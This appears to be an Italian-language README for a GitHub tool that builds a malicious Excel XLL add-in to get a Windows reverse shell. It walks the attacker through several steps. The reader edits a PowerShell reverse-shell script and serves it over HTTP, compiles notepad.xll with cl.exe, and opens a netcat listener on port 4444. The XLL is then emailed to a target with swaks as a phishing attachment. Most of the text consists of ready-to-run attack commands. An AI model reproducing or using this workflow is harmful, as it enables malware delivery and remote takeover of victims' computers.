xll_windows_reverse_shell

xll reverse shell per Windows

Sulla macchina dell'attaccante (Kali):

git clone https://github.com/n3rdh4x0r/xll_windows_reverse_shell.git

1. Aggiorna il file revsh.ps1
2. crea un server http Python

python3 -m http.server 9999

Sulla macchina dell'attaccante (Windows):

1. Sposta notpadXLL.c sulla tua macchina attaccante Windows e aggiorna notpadXLL.c di conseguenza.
2. Apri x64 Native Tools Command Prompt for VS 2022
3. esegui il comando qui sotto per generare notepad.xll

cl.exe /LD notepadXLL.c /link /out:notepad.xll

5. sposta questo notepad.xll sulla tua macchina Kali

Sulla tua macchina Kali

1. scarica swaks

 curl -O https://jetmore.org/john/code/swaks/files/swaks-20240103.0/swaks

2. configura il listener nc

nc -nlvp 4444

3. Usa swaks per inviare un'email con notepad.xll allegato:

./swaks --to [email protected] --from [email protected] --server 10.10.11.21 --port 25 --header "Subject: test" --body "test" --attach @notepad.xll